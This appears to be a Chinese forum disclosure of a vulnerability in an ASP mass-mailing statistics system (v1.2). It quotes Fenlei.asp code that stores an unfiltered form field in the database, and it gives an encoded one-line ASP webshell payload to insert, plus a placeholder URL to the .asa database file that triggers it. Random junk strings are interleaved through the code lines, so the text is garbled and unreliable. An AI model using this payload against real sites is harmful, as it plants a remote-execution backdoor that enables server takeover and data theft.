铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
; z: u% }# c- O+ [& p; r3 z
IF Request.QueryString("Action")="del" Then
# z  G- y( j9 b/ {( ]; }ID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
'略
IF Request.QueryString("Action")="Add" Then
4 Q7 T3 q% m+ Z; L+ \4 A! MTname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
1 S" l+ _8 N) Q4 `& _Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
6 v( I6 Q0 B$ j! GRs.Addnew
) g- Z) e8 w' b9 t1 |, ]' ?Rs("Typename")=Tname
& `5 c9 y) \2 {% X'略
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
4 N2 _9 M: _6 V4 z+ `9 |. X'略
5 P$ `, r( I2 s$ V, [%>

+ N8 B: W+ {7 P- b

没有过滤，直接写入数据库。

* f+ f; ^; w4 u% X利用方法：

5 Z; v+ F* y9 E" c1 n- v" k3 k: T" i插入：┼攠數畣整爠煥敵瑳∨≡┩>


: q+ V/ G: r6 ^9 U. i连接： http://www.xxx.com/###tongbaner.asa
'默认安装文件：
'install.asp
5 _: `- w) z; _0 n2 E$ j* f, R